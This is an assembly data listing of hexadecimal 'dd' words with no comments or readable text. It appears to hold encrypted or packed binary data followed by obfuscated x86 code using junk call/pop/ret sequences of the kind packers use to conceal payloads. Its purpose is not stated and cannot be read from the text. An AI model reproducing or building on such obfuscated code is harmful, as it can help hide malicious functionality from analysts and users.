dd 2F2B8AEEh, 0EC7AD075h, 6460F503h, 0A71A5CBDh, 326E2451h
dd 2F419747h, 2F2879F9h, 750B91D5h, 7BA2CB29h, 6BAA9551h
dd 2F33959Eh, 7D69915Dh, 798A676Dh, 22C200EFh, 942B91ABh
dd 2C7FF60Fh, 8A65A2F5h, 6CDFC835h, 0A2E3743Ah, 3CAE1BD8h
dd 7F2BFBA8h, 2F2B92BFh, 0EC73B1ABh, 0B6F188Dh, 0B6F10EEh
dd 2F2B8A71h, 0EC7BD1BAh, 604F6C5Dh, 0CF46BD76h, 0D07C48D7h
dd 0CCEE117Bh, 8E145Ch, 2F4197FAh, 2F287922h, 700B91BAh
dd 53A2CE9Eh, 6BAA958Ah, 2F319573h, 786C91ABh, 9AD13416h
dd 0A6A4FD80h, 2F2B819Dh, 0AA22A1BAh, 972E4D29h, 3B0720F8h
dd 0BF0E5188h, 0E9E1ACDh, 712D81D2h, 0CCE142Ch, 456C9765h
dd 2CC3C2BAh, 0F2B915Dh, 0A67052F5h, 0AE2FB50Bh, 332FB5EFh
dd 6C2B91D5h, 481752B9h, 2564CE3h, 4701F314h, 17B6A1AEh
dd 2F2B9B47h, 622CD257h, 0F8322D66h, 0AE860835h, 839DB5EEh
dd 494BEE34h, 0A6321104h, 3F0B68D0h, 9AD4F0A8h, 293B8C12h
dd 0A0705B2Ah, 0AAA6E6B1h, 29381460h, 0C77C911Fh, 2F2B91B9h
dd 70E8CE7Dh, 2B0FED27h, 2B0FD5D6h, 2F2B91B3h, 32E8C692h
dd 0D79C2D29h, 1D95418Ah, 0A6677D71h, 3F2B38D8h, 5EBE1AA8h
dd 0E92D8143h, 3F08742Eh, 2F41D6D3h, 2F2879BFh, 720B9175h
dd 43A2CC79h, 6BAA9579h, 2F32958Ah, 7A6E9157h, 0D0806468h
dd 0C7E92210h, 2F2B91EEh, 0AEF7810Fh, 0A76B2EDCh, 0B6F1A0Dh
dd 25AB9EAAh, 0C62B9157h, 2F2B91AEh, 161797D9h, 0A42B1A8Eh
dd 0B6F188Bh, 4979C1BEh, 1E2446D6h, 0D29AC3FEh, 7091A058h
dd 75211FB6h, 7773CB8Dh, 0C77A9180h, 2F2B9176h, 76E8C89Ah
dd 2B0FDDD4h, 2B0FD52Fh, 2F2B914Bh, 13E8C0EAh, 24712556h
dd 0B40B12A2h, 2F2D7915h, 0FC4991BAh, 9CD12220h, 2F2B11A1h
dd 49729157h, 204A6320h, 9AD45A62h, 293B8CAFh, 0C77B911Fh
dd 2F2B91B9h, 77E8C97Dh, 2B0FD527h, 2B0FD5D6h, 2F2B91B6h
dd 0FBE8C195h, 0E924AB2Fh, 924B15AEh, 2FAC9ED1h, 0A22B915Dh
dd 3CAE1B2Bh, 7E2BFB51h, 2F2B9243h, 0EC72B1D5h, 0B6718B3h
dd 0B6F1071h, 2F2B8ABEh, 0EC7AD05Dh, 0D5638D95h, 8CA9B42Dh
dd 8E9E1AFBh, 702D81DBh, 2F414115h, 2F287923h, 710B91BAh
dd 5BA2CF9Eh, 6BAA958Ah, 2F379573h, 796D91ABh, 707A5F16h
dd 73E27EC3h, 497B68EBh, 715BCD05h, 3EDE24D6h, 0AAA297BEh
dd 293B9312h, 252A0420h, 0AAED97C5h, 293BB20Fh, 7C2BFB32h
dd 2F2B9252h, 0EC70B15Dh, 0B7718F5h, 0B6F1053h, 2F2B8DAFh
dd 0EC78D2D5h, 97439D0h, 0DA4370DCh, 0C69E9802h, 472D8170h
dd 0CD9D5BDEh, 20FA5D6h, 2063EA5Dh, 2F2B9055h, 0AAA269EAh
dd 293BA3D4h, 326E2445h, 2F41974Dh, 2F2879FFh, 760B9157h
dd 63A2C868h, 6BAA95F1h, 2F3695CEh, 7E6A9175h, 0B06AB579h
dd 68C22CA3h, 0A2292B46h, 3CAE1BD2h, 2DA99EADh, 0A42B91D5h
dd 45FB6E14h, 2CC3C075h, 0F2B91BAh, 0A6725204h, 0AE2FB5E2h
dd 3B2FB513h, 6E2B91ABh, 49D55284h, 83EA436Bh, 218A2C7Eh
dd 0AAA297AAh, 293B95A4h, 2F2B9E47h, 9A65F57h, 0D4869784h
dd 4E50FD23h, 0C315E352h, 2F41418Ah, 2F2879EBh, 760B915Dh
dd 63A2C86Dh, 6BAA9573h, 2F30958Fh, 7E6A91D5h, 0AC618629h
dd 0D814825Fh, 5EC51050h, 0A434D713h, 3F048C1Bh, 0AAE1851h
dd 0AE2D81A5h, 0CB89A03Ah, 0F7A7F7CCh, 1FA1CFEh, 0AA2497AAh
dd 2F2B9144h, 2F2B8547h, 4A80BA57h, 0A1F4B399h, 83803565h
dd 63B346ABh, 0DA815DD4h, 452FB5B8h, 2CC3C05Dh, 0F2B91AEh
dd 0A672520Eh, 0AE2FB5E7h, 382FB591h, 6E2B91EAh, 0F3405224h
dd 92A20468h, 293B84DCh, 2F2B8247h, 707DFF57h, 0F7FA1E6Fh
dd 0A9D8A5Bh, 4B72C19Ch, 22EF049Eh, 0AB2451B0h, 2F2B93B7h
dd 0C77891C4h, 2F2B9154h, 74E8CA8Bh, 2B0FCD5Ch, 2B0FD56Bh
dd 2F2B916Ch, 0ACE8C2F9h, 0E3A8C5BAh, 0AAED69C2h, 293BB2B2h
dd 7D2BFBE4h, 2F2B923Dh, 0EC71B1EAh, 0B7F182Fh, 0B6F10BEh
dd 2F2B8459h, 0EC79D3AEh, 0DB4358B8h, 968EDD2Fh, 60C94C17h
dd 1F0FA56Bh, 0C6315D9Dh, 2F2B91B0h, 4FEA08Dh, 8BB186E7h
dd 9AD46742h, 293B8CEEh, 0D2D4F76Bh, 0A5AE1CEDh, 452D82F0h
dd 2CC3C3BAh, 0F2B915Dh, 0A67152F4h, 0AE2FB503h, 332FB5EFh
dd 6D2B91D5h, 0AC0352B8h, 74430635h, 0A6EC269Bh, 3F38A8E0h
dd 45FB6EA8h, 2CC3C757h, 0F2B91ABh, 0A675528Bh, 0AE2FB59Eh
dd 382FB531h, 692B91BAh, 5B47520Bh, 0AE4D5F0Bh, 0ACEEC8BDh
dd 2F41B56Bh, 2F287983h, 710B91EAh, 5BA2CFB6h, 6BAA959Eh
dd 2F3F9579h, 796D91AEh, 0BAA07E94h, 293BBF2Ah, 0FAAE1820h
dd 492D81EFh, 0DB7C60F4h, 33560C33h, 0AAA0974Dh, 293B9F8Bh
dd 0F112B31h, 2BD20C20h, 456897C5h, 2CC3C6EAh, 0F2B9175h
dd 0A67452E5h, 0AE2FB521h, 382FB5EAh, 682B9157h, 6D0C52FCh
dd 9A206F63h, 293B8E67h, 9D4B8AFEh, 2F2679D0h, 4E52915Dh
dd 5EC15AE0h, 0F5B206E0h, 0A4FECE46h, 0A44AC922h, 7C2BFBF1h
dd 2F2B929Dh, 0EC70B1BAh, 0B771806h, 0B6F10AAh, 2F2B8B53h
dd 0EC78D2ABh, 0A05E61E1h, 0A6386A12h, 3F2E14C8h, 63E210BCh
dd 0A40B1615h, 7D2BFBB5h, 2F2B92BFh, 0EC71B1ABh, 0B7F188Fh
dd 0B6F10EEh, 2F2B8871h, 0EC79D3BAh, 909E608Bh, 25C3FB59h
dd 62B9157h, 0B328F2AEh
dd 38123076h, 70C51BA0h, 92A04946h, 293B9C9Bh, 3ED60CD4h
dd 2F4197BEh, 2F287902h, 720B91ABh, 43A2CC16h, 6BAA95CEh
dd 2F369551h, 7A6E91BAh, 0B332629Eh, 5F965E7Fh, 0AECC8205h
dd 0A942462h, 0E9C420F3h, 3F08746Fh, 0A2A0D673h, 293BB2EBh
dd 7EFF4F35h, 2F207809h, 9EBB9157h, 4661946Dh, 0E888DD1h
dd 0B1F1085h, 3FA49802h, 2F2B8153h, 61F2C95Dh, 0E636B5DDh
dd 34265DE5h, 989C00A4h, 6A9E6E58h, 452D81F7h, 2CC3C475h
dd 0F2B91BAh, 0A6765200h, 0AE2FB5C2h, 3B2FB513h, 6A2B91ABh
dd 0A2885280h, 3CAE1B6Fh, 0FFD46473h, 378A2C33h, 0AAA2974Dh
dd 293B9107h, 0C77D913Dh, 2F2B91A8h, 71E8CFF5h, 2B0FE563h
dd 2B0FD5F4h, 2F2B91AEh, 0FDE8C71Bh, 452B1AEEh, 2CC3C357h
dd 0F2B91ABh, 0A671528Fh, 0AE2FB5BEh, 382FB531h, 6D2B91BAh
dd 0DDD9520Fh, 2FA0C381h, 0E5949EABh, 3B121422h, 2F4197C5h
dd 2F2879BBh, 760B9175h, 63A2C879h, 6BAA9579h, 2F3F958Ah
dd 7E6A9157h, 24C25E68h, 402B91D5h, 0CBDCF8C5h, 8FF5FDDEh
dd 63C2FBC4h, 952B915Ch, 7AC584FFh, 0D86646D6h, 0AAA6A208h
dd 29385352h, 0BFFD2EE5h, 26C3C325h, 0FA2B91BAh, 0F7F6826Dh
dd 3375DFE4h, 2F2B94BFh, 0DC0076ABh, 71725D94h, 0DD94A0E5h
dd 757E87F3h, 0D7A0C1E2h, 7C2BFBCDh, 2F2B9246h, 0EC70B157h
dd 0B7718F0h, 0B6F10D1h, 2F2B86EEh, 0EC78D275h, 0A59C1FE6h
dd 3FFE24D6h, 0BAD497BEh, 293B848Ah, 0C77B91C1h, 2F2B91D6h
dd 77E8C9CAh, 2B0FD5FCh, 2B0FD53Bh, 2F2B9141h, 8BE8C1EEh
dd 9B0455A8h, 0F132C4FDh, 0EDA60C58h, 0EDAA97F9h, 3C5260ACh
dd 2F2E7829h, 6D56915Dh, 7F35938Ah, 2F2B9EBFh, 0CDB11CABh
dd 8C9CFCF8h, 914C05B8h, 0BD2CD3ABh, 2F2B9B53h, 9F36845Dh
dd 1E146CB3h, 70ED4EBDh, 19D91038h, 0BF49CC67h, 2F2815E5h
dd 0A44D9175h, 494BC16Ch, 95784ED6h, 15A08CD1h, 45BBF009h
dd 2CC3C2ABh, 0F2B91D5h, 0A67052B1h, 0AE2FB529h, 352FB5FEh
dd 6C2B915Dh, 0FE4152FDh, 2B788B7Ah, 56AE18C5h, 0D02D81D2h
dd 3F26147Fh, 7A961873h, 0A62D81AEh, 3F2E44D8h, 782BFBA8h
dd 2F2B92BFh, 0EC74B1ABh, 0B57188Ah, 0B6F10EEh, 2F2B8D71h
dd 0EC7CD6BAh, 50A9B8E5h, 7005D0EBh, 7EA6987Bh, 0E92D81A1h
dd 3F087450h, 2F41C2ECh, 2F287925h, 770B91BAh, 6BA2C99Eh
dd 6BAA958Ah, 2F379573h, 7F6B91ABh, 0C217AB16h, 0AB06724Bh
dd 47D362B7h, 0D4A4EFC7h, 1BAA21E8h, 27D1938Ah, 7C2BFB06h
dd 2F2B9243h, 0EC70B1D5h, 0B7718B1h, 0B6F1071h, 2F2B85BEh
dd 0EC78D25Dh, 6A9E6E73h, 0AE2D814Ah, 0D16F9744h, 0A5AE1CD8h
dd 452D826Fh, 2CC3C775h, 0F2B91BAh, 0A6755203h, 0AE2FB5DAh
dd 3A2FB513h, 692B91ABh, 6AD25283h, 2F2718E5h, 0A3249175h
dd 2F2B91BCh, 2F2B1452h, 0FFD491AEh, 0C778913Dh, 2F2B91A8h
dd 74E8CAF5h, 2B0FCD63h, 2B0FD5F4h, 2F2B91A6h, 53E8C21Eh
dd 0BECDB1F6h, 17DE799Fh, 2F2D1EA4h, 0BAA091D5h, 293B86EFh
dd 2BBE14FCh, 2F4197AAh, 2F28790Bh, 710B91AEh, 5BA2CF94h
dd 6BAA958Fh, 2F3F95F1h, 796D91EAh, 0A67CC6B6h, 3F1B3C0Fh
dd 0AAEDCF5Bh, 293BB24Bh, 0D5A0F710h, 68D1DC3h, 0A44DF1B7h
dd 2F2D7929h, 4ECE9175h, 0AC2B1638h, 4E75F03Dh, 2B0F952Fh
dd 4514D938h, 2CC3C3ABh, 0F2B91D5h, 0A67152B0h, 0AE2FB521h
dd 372FB5FEh, 6D2B915Dh, 467052FCh, 96EA62FCh, 2755281Fh
dd 326E242Ah, 0BA0097FAh, 293BB6F4h, 0AAA11437h, 9024974Eh
dd 45FB6E65h, 2CC3C157h, 0F2B91ABh, 0A673528Dh, 0AE2FB5AEh
dd 372FB531h, 6F2B91BAh, 0AD55520Dh, 7EAAC460h, 0AC472F31h
dd 39DA10F5h, 0A64D7CCBh, 3F39B46Fh, 2F397873h, 0C8D491BAh
dd 5B1B310Dh, 5683377h, 0EDF24504h, 718BEF1Dh, 0CCE1413h
dd 457897FAh, 2CC3C375h, 0F2B91BAh, 0A6715207h, 0AE2FB5FAh
dd 342FB513h, 6D2B91ABh, 2D2F5287h, 5FE06DD4h, 9A4BB965h
dd 2BC3F00Ah, 0BF2B915Dh, 7FB2A8F1h, 491A9E05h, 77715920h
dd 0A424F185h, 2F2B91E8h, 3BC3CB27h, 0DD2B91BAh, 7451E957h
dd 344C3685h, 8494A86Eh, 0B5846252h, 0A4DCC359h, 0A44AC914h
dd 0A42FB531h, 4F2B1A40h, 0C74B68D6h, 2F2B91BCh, 9B815493h
dd 224A0748h, 0B6EAC60Bh, 35156936h, 7E74D833h, 0A64AF0E3h
dd 962FB519h, 7A1E4A54h, 7A2BFB0Fh, 2F2B9243h, 0EC76B1D5h
dd 0B4718B7h, 0B6F1071h, 2F2B84BEh, 0EC7ED45Dh, 7B9428F1h
dd 0D033B757h, 3F36D41Eh, 0FE949ED3h, 0AAA11467h, 2F419766h
dd 2F2879E9h, 740B915Dh, 73A2CA6Dh, 6BAA9573h, 2F32958Fh
dd 7C6891D5h, 0B33A029h, 0D09DE355h, 782BFB6Ah, 2F2B92B5h
dd 0EC74B1AEh, 0B571808h, 0B6F10AFh, 2F2B8DD1h, 0EC7CD6EAh
dd 47A16C43h, 0A1CE4D6Eh, 96AE18C3h, 0A62D8183h, 3F0590E2h
dd 3AA29EADh, 0C62B91D5h, 2F2B91FAh, 69B408F7h, 5C2F979Eh
dd 250A1527h, 24D600DBh, 0CCE1491h, 457C97BBh, 2CC3C6D5h
dd 0F2B91EAh, 0A674522Ah, 0AE2FB5C6h, 392FB519h, 682B91AEh
dd 0C13B5200h, 8A9E98ADh, 0A62D81DAh, 3F37F077h, 1972F973h
dd 2BAA167Ah, 6B303C79h, 9AD468A6h, 293B8C12h, 0C77D91C1h
dd 2F2B91D6h, 71E8CFCAh, 2B0FE5FCh, 2B0FD53Bh, 2F2B9147h
dd 0AAE8C7E8h, 89368A9Ch, 28C30A06h, 332B91D5h, 0DB3065FBh
dd 0BAA021A0h, 293B8AF3h, 0F9A0F703h, 0AAA11423h, 2F419744h
dd 2F2879FAh, 760B91D5h, 63A2C829h, 6BAA9551h, 2F33959Eh
dd 7E6A915Dh, 0D19BF96Dh, 0FFD4BE9Fh, 9AB6B8CBh, 0A62D81FCh
dd 3F01B06Fh, 0AAA2F073h, 293B97AFh, 0C7789137h, 2F2B91ADh
dd 74E8CA77h, 2B0FCD22h, 2B0FD554h, 2F2B91F7h, 0F5E8C236h
dd 25736765h, 2E3A420Bh, 0D5949EF7h, 7DD1031h, 0CAAE579Ch
dd 6C2D81F6h, 0C7789180h, 2F2B9176h, 74E8CA9Ah, 2B0FCDD4h
dd 2B0FD52Fh, 2F2B9143h, 40E8C2E8h, 6C6C04BDh, 2F2479B5h
dd 89F59175h, 2669D1D2h, 64411BBAh, 87BBD68Fh, 2F3979A2h
dd 0D8F591ABh, 4C0F3896h, 329174FAh, 0DA68727Ah, 63FA0A1Bh
dd 707466D6h, 0BC0F952Fh, 4576DC7Fh, 2CC3C1ABh, 0F2B91D5h
dd 0A67352B2h, 0AE2FB531h, 3A2FB5FEh, 6F2B915Dh, 951D52FEh
dd 2F2B85BEh, 0F56B01ABh, 0CC70232Bh, 86A0DB45h, 866310E9h
dd 69474239h, 0F7C511E6h, 326E2451h, 2F419747h, 2F2879FCh
dd 700B91D5h, 53A2CE29h, 6BAA9551h, 2F37959Eh, 786C915Dh
dd 0B190CD6Dh, 0AD356449h, 0C7DE0B85h, 2F2B91D0h, 8A5DDE5h
dd 0CEAAF796h, 0A2752351h, 3CAE1BD8h, 7C2BFBA8h, 2F2B92BFh
dd 0EC70B1ABh, 0B77188Eh, 0B6F10EEh, 2F2B8B71h, 0EC78D2BAh
dd 0F84BCF17h, 0A424F21Fh, 3F0898C2h, 45FB6EADh, 2CC3C3D5h
dd 0F2B91EAh, 0A671522Fh, 0AE2FB5EEh, 3A2FB519h, 6D2B91AEh
dd 20EE5205h, 0A6E01ACDh, 3F055850h, 2F3878ECh, 85469175h
dd 0D39B2716h, 874655A8h, 0DBD9B866h, 206F9075h, 2B6188Bh
dd 0A22D81F8h, 3CE9EC6Fh, 7C2BFB73h, 2F2B9252h, 0EC70B15Dh
dd 0B7718F5h, 0B6F1053h, 2F2B84AFh, 0EC78D2D5h, 9AA03916h
dd 293BBF74h, 7FE51A2Ah, 0A4BB40D6h, 3F39883Bh, 0F2BE6E51h
dd 0C62D81BEh, 2F2B91DBh, 0AF8D1732h, 60904A8Eh, 205732F3h
dd 0F7A023B5h, 0C77B91C4h, 2F2B9154h, 77E8C98Bh, 2B0FD55Ch
dd 2B0FD56Bh, 2F2B916Fh, 2E8C1FAh, 94239538h, 0AAA6ADD4h
dd 29385326h, 21EE1CA8h
dd 7FBB97C5h, 7F1A9EB8h, 2FAB9E27h, 202B91BAh, 75E11A6Ch
dd 7F73CBF6h, 393F737h, 4994F7BCh, 7DBBF0BFh, 2F3F79BCh
dd 0C3F69175h, 184B6C0h, 0A8F83DC0h, 5D0776A5h, 608683BDh
dd 7072ED20h, 24A49E8Ah, 202B91EAh, 2F2B94F3h, 0E0AAF7BAh
dd 9AB82C5Bh, 0D7A0C1C9h, 0A624C2C4h, 2F2B91ADh, 2C22CDEh
dd 0D07597FAh, 3F2614E0h, 782BFBBCh, 2F2B92B5h, 0EC74B1AEh
dd 0B571808h, 0B6F10AFh, 2F2B8DD1h, 0EC7CD6EAh, 983118A8h
dd 45B9514Ch, 2F2C79BEh, 0B1D691AEh, 0E5E5207Fh, 75E71B19h
dd 22E2145Ch, 2F4197FAh, 2F287925h, 770B91BAh, 6BA2C99Eh
dd 6BAA958Ah, 2F3F9573h, 7F6B91ABh, 0A44DF816h, 7AAE5622h
dd 202D8175h, 242B91BAh, 3F3270E8h, 0E6BE6EA8h, 0C72D815Ah
dd 2F2B91AEh, 574E5883h, 2F3A7935h, 0E1E49175h, 0CB987682h
dd 3A231F3Ah, 899BB11Ch, 75040F4Dh, 0F2AE18F4h, 62D81FFh
dd 3F3DA07Fh, 12A61873h, 0A42D81A1h, 3F0AF4D8h, 0CDB61CA8h
dd 0A62D8281h, 92A690E8h, 293BB73Ch, 0F9972467h, 1C929766h
dd 0DC2B91BAh, 97187AF9h, 2F2B91AEh, 2C5F515Ch, 0A42B8969h
dd 7C27B591h, 2F2B9102h, 0ECAACA75h, 2F2B91ADh, 3F0FCDD4h
dd 3B0FD527h, 8F1C290Ch, 0CFD49108h, 2B0FD55Eh, 0EA957115h
dd 0C62FFCB7h, 2F2B91BFh, 0C79A4B48h, 0A624F0DAh, 2F2B9174h
dd 2F2B9E43h, 0CAEC9FD5h, 78D11EEDh, 0A573E748h, 49256ADFh
dd 2F2B98B4h, 7B2B33AEh, 0CE3947EDh, 0A2745A28h, 3CE9E068h
dd 6BA61CECh, 972D82A2h, 0B70D3A8Fh, 3FE6146Eh, 0E00097BEh
dd 0F82F41F1h, 572F2879h, 68710B91h, 0F15BA2CFh, 0CE6BAA95h
dd 752F3F95h, 83796D91h, 0A4F305E9h, 6AD98Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C7587C3h
dd 0E99A0D65h, 14h, 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h
dd 890FA3E2h, 52E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0B341F020h, 6A611Eh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 206501C3h, 3A8465ADh, 0E9265FA8h, 5, 5F710269h, 8BF8C389h
dd 0D8F0FC0h, 60000000h, 3D37FFBAh, 0BAD18161h, 614BB255h
dd 158DBD83h, 75000610h, 95BD8309h, 61000h, 53501974h
dd 0B9B8C08Bh, 89000004h, 10132D85h, 7C9D8D06h, 0FF0612B8h
dd 83585BD3h, 100095BDh, 17740006h, 0B9B85350h, 89000004h
dd 10132D85h, 1D9D8D06h, 0FF0612B5h, 60585BD3h, 0F4BF66h
dd 6A61FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 405A63C3h, 0A327CEC4h, 8E9C08Bh, 0A4000000h
dd 84E9E8ACh, 4032304Eh, 8166C18Bh, 0EB1421CEh, 4, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 7CDBDEA9h, 0BE8h, 0CFACD900h, 3D054BEEh, 1AA202Ch, 1B3D8D89h
dd 95F0610h, 101711B5h, 81850906h, 8D06100Ah, 1013B985h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 83EB0A17h, 68050C95h, 0ABBFF38Bh, 90568F3Fh
dd 5958BE66h, 0C5BE6650h, 6A900Eh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 13E8BDC3h, 7A000000h
dd 3A9BF491h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8D8938FCh
dd 6100809h, 0FA8B665Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0D7817DC3h, 65961E8Ch
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 6F1A51C3h, 14E983h, 0C5390000h, 8F9E7A0Dh
dd 0A54C3C8Bh, 7601A456h, 0FA17A914h, 858D860Fh, 613DA96h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h
dd 357E459Ah, 0EA9B589h, 0F28B0610h, 6A05C083h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 29BCC355h, 18C0BC9Eh, 1883C08Dh, 3870Fh, 8B660000h
dd 8B6650F3h, 240489F3h, 0DE5BD29h, 6A0610h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 12C35747h, 0F3B70FF2h
dd 0B58B006Ah, 6101575h, 1D1995FFh, 8D890610h, 6101081h
dd 0AFD89D8Dh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 292C7AC3h, 10218195h, 89D3FF06h
dd 100BADB5h, 1985FF06h, 0E9061014h, 5, 2C1C3F32h, 7B3E951h
dd 0E80000h, 5D000000h, 0DAA0ED81h, 95890613h, 6100BD5h
dd 55BD81h, 7D00610h, 860F0000h, 169h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 90C35747h, 95387CDEh, 259D8973h
dd 8B06101Dh, 1023819Dh, 13E806h, 73940000h, 621D7F0Ah
dd 0AB070137h, 0F86E0861h, 115ABAD0h, 5EF78B2Ah, 100E381h
dd 870F0000h, 6, 3169BD8Bh, 0DB0B0610h, 0AD850Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0FA35ECC3h, 800534A5h, 0BD83E8E0h, 613D896h, 28840F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 73C5C352h, 0CDD10A65h, 7FE9D018h
dd 0C7000000h, 13D89685h, 106h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BFB5F1D6h
dd 5A966AF7h, 108E0Fh, 0BE90000h, 0DC000000h, 8F18521Fh
dd 0FB5D5FE5h, 800F3FC6h, 1, 30E9FCh, 81660000h, 0C74887F6h
dd 13D89685h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0C63CA572h, 9D8D823Ah
dd 6102381h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0B7C35646h, 0D5D91D5h, 81AF7B82h, 0FFFEFF23h, 0DB8C66FFh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 48C35141h
dd 0E7D8F0A1h, 0F2432A13h, 0A5B58B76h, 0F606100Ah, 840F04C3h
dd 2Eh, 95FFF98Bh, 6100DC9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 1FC35747h, 18AE4386h, 895073FBh
dd 16E92404h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 2907C352h, 6E9h, 0CE69C400h
dd 0B0600BB2h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 643C63B0h, 57F1A8ACh
dd 8B6670E6h, 0CCB660F1h, 0BC9B589h, 0E4610610h, 56006A71h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0D8B60F85h, 0DE9h, 194E1F00h, 0A0038E1h, 253B18EEh
dd 6BA5339h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 5152C355h, 57E85AFBh
dd 53A8C7DBh, 6AC38B5Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8B93C357h, 10170DB5h
dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch
dd 0CFC35242h, 3186FD1Ah, 89CE0EB3h, 6AE2F766h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0A38BC357h, 8B5117C6h, 102E81B5h, 2840F06h, 8B000000h
dd 0FD82BF9h, 288h, 93FE8B00h, 5E9h, 892B9500h, 0E9508608h
dd 0Bh, 2AA04AA2h, 1D58EFB2h, 93ECAFD5h, 1E3D8D89h, 0B5FF0610h
dd 6100055h, 16BDB58Bh, 5E90610h, 89000000h, 837EEB97h
dd 31C995FFh, 95890610h, 61000E9h, 858900B0h, 6100D65h
dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 5D1E76C3h, 0E98406A4h, 5, 0C4F58A1h, 15B58927h
dd 8906101Eh, 1008358Dh, 6A71E406h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFFDC353h
dd 41B32DCh, 3CF6BF0Fh, 22830F61h, 89000002h, 101169B5h
dd 0D8B60F06h, 1B61B58Bh, 6BA0610h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0CF1BC350h, 0C1E1A0E7h, 6E840C3h, 0BD000000h, 9B2F7172h
dd 0AD952957h, 5F061030h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 4BFCBEC3h, 0F60C5023h
dd 0C118A97Fh, 870F04E8h, 6, 0EA9BD33h, 0F7660610h, 0FE9E2h
dd 80B0000h, 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 6AD82BD2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 868BC355h, 9D8B6058h, 6103145h, 16299D29h
dd 2B610610h, 56880FD8h, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C08DC351h
dd 7B983h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0B58B5EC3h, 6101F1Dh, 0C183F8h
dd 89F38B66h, 100BDDBDh, 0FD93B06h, 0FC86h, 0D98C6600h
dd 9E9h, 6D311800h, 9FB9D6D3h, 0C1F65FA6h, 0D5840F04h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0FBB2C353h, 63D86C2Dh, 8986BCA4h
dd 10002DBDh, 0C995FF06h, 6A06100Dh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 5785C350h
dd 0ADB58BAEh, 5B06100Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 50C35646h, 1E8A0FF0h, 0E8000000h, 12h
dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 0BD89E0E0h
dd 61001F1h, 66C32B5Fh, 343DF38Bh, 0F000008h, 2F86h, 41958900h
dd 0E9061031h, 31h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 6EC35343h, 8D89B152h, 61031A9h, 8B60C08Bh
dd 10145595h, 2DE8006h, 8BC38B61h, 50006AD8h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A40E0A8h
dd 85C7522Eh, 610297Dh, 1CC9F511h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 23C35545h, 10865A51h, 8B6006EEh
dd 8B61F5C2h, 8B6653C0h, 0BD815EF2h, 6100055h, 7D0h, 51850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0A71294C3h, 0C800F24h, 60000000h, 0A8C68166h
dd 6190BE7Ah, 566115B5h, 11898589h, 0FF5F0610h, 10005585h
dd 68A0F06h, 89000000h, 1022F59Dh, 890F06h, 0FF000000h
dd 100055B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 83468421h, 21F04046h, 0C995FF3Eh
